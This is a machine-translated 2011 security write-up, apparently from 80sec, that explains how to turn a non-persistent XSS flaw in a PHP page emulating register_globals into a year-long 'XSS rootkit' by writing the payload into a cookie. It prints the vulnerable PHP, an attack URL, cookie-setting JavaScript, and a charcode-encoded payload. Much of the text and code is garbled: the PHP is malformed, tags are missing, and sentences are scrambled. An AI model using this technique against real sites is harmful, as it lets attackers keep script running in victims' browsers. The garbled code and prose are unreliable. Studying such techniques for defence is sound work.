Truck XSS Vulnerability Scene XSS rootkit

Truck XSS Vulnerability Scene XSS rootkit

Email: rayh4c # 80sec.com

Site: http://www.80sec.com

Date: 2011-10-13

0 ¡Á 00 preface

It is well known that the risk definition of XSS vulnerabilities has been relatively vague, and XSS vulnerabilities are high-risk vulnerabilities or low-risk vulnerabilities have always been controversial. The XSS vulnerability type is divided into two persistent and non-persistent types:

1. Non-persistent XSS vulnerabilities are generally stored in the URL parameters, requiring a particular URL for hackers to construct to trigger a vulnerability.

2. Persistent XSS vulnerabilities typically exist in interactive features such as rich text, such as posting messages, etc., hackers can use XSS content to enter the database for persistent storage.

Generally, the long-lasting XSS vulnerability is higher than the non-persistent XSS vulnerability risk level, which is not wrong from the vulnerability, but the use of vulnerabilities still needs to see the scene, sometimes more in-depth viewing scenes can excavate what they can’t Let everyone look down.

0 ¡Á 01 Vulnerability Scene Analysis

First of all, I give a simple code of a PHP XSS vulnerability:

Demo.php ———————

PHP

Foreach (array (‘_ get’, ‘_ post’, ‘_ cookie’) AS $ _REQUEST)

{

Foreach ($$ _ request as $ _K> $ _V) $ {$ _ k} $ _V;

}

?>

“> Page

———————–

This PHP code is common in web programs, which is common in web programs. This paging link to the web page is also common, because ignore the pair of access to incoming data, the most common XSS vulnerability is produced.

Here is the verification method of this XSS vulnerability:

http://127.0.0.1/demo.php?id1 “>

The GET method passes the HTML content in the ID parameter, causing the HERF in the webpage to close, execute scripting content in the Script tag:

This is a typical non-persistent XSS vulnerability. Under the logic of regular thinking, this vulnerability is basically aorted here. This article will become an ordinary science, but the fact is not as simple, this vulnerability scene In addition, explore, it took out the weight of this article.

0 ¡Á 02 XSS rootkit implementation method

We know that the core code of today's popular PHP Web program is to simulate register_globals, and the direct registration variables directly through the GPC are easy to operate the entire program. So the focus of this article is here, in this scenario, our demo.php can not only get the GET pass, but also the cookie's data, but the cookie is a client browser's persistent data. If you set cookie via XSS vulnerability, we You can turn this typical non-persistent XSS vulnerability to last, saying that everyone is very excited, I will actually test:

First write a section of JavaScript code for cookies

Persistence_data '>

Var dateNew Date ();

Var expressionAys365; // Setting cookies fail after one year

Date.SetTime (Date.getTime () + ExpiredAys * 24 * 3600 * 1000);

Document.cookie'ID '+ persistence_data +'; expires' + Date.Togmtstring (); // Setting the cookie ID parameter value is XSS code

Encode the JavaScript code of the setting cookie once, put it in the XSS URL, which prevents the magic quotation marks and different browser encoding unknown, then we accessed the URL below.

http://127.0.0.1/demo.php?id1">

115, 115, 47, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62, 39, 59, 13, 10, 118, 97,

114, 32, 100, 97, 116, 101, 61, 110, 101, 119, 32, 68, 97, 116, 101, 40, 41, 59, 13,

10, 118, 97, 114, 32, 101, 121, 112, 105, 114, 101, 68, 97, 121, 115, 61, 51, 54, 53,

59, 13, 10, 100, 97, 116, 101, 46, 115, 101, 116, 84, 105, 109, 101, 40, 100, 97, 116,

101, 46, 103, 101, 116, 84, 105, 109, 101, 40, 41, 43, 101, 120, 112, 105, 114, 101,

68, 97, 121, 115, 42, 50, 52, 42, 51, 54, 48, 48, 42, 49, 48, 48, 48, 41, 59, 13, 10,

100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 61, 39, 105,

100, 61, 39, 43, 80, 101, 114, 115, 105, 115, 116, 101, 110, 99, 101, 95, 100, 97,

116, 97, 43, 39, 59, 101, 10, 112, 105, 114, 101, 115, 61, 39, 43, 100, 97, 116,

101, 46, 116, 111, 71, 77, 84, 83, 116, 114, 105, 110, 103, 40, 41, 59)) script>

The result is very satisfactory. Since the modulus registration order of the simulation of Register_Globals is GPC, of ??course, the programmer simulates that registration registration of the programmer will affect this effect. Because cookie's variable registration always takes effect, we turn off the browser whether Access http://127.0.0.1/demo.php or access http://127.0.0.1/demo.php?id1, our XSS code will take effect, and if the client is not cleaned up, this XSS vulnerability will be valid for one year. Time, an inconspicuous low-risk vulnerability turns into a so exciting XSS rootkit.

0 ¡Á 03 after

Some web vulnerability scanner reports suggest that non-persistent XSS vulnerability is high-risk vulnerability, and there is general controversial situation, and according to this article, the scene will re-excavate, then the purpose of this article is reached.

At this time, we have completed the transformation of XSS rootkit with non-persistent XSS vulnerabilities, once again revealing how important the scenes of the vulnerability, how wonderful things that know the essence of the vulnerability scene in the middle of the vulnerability scene.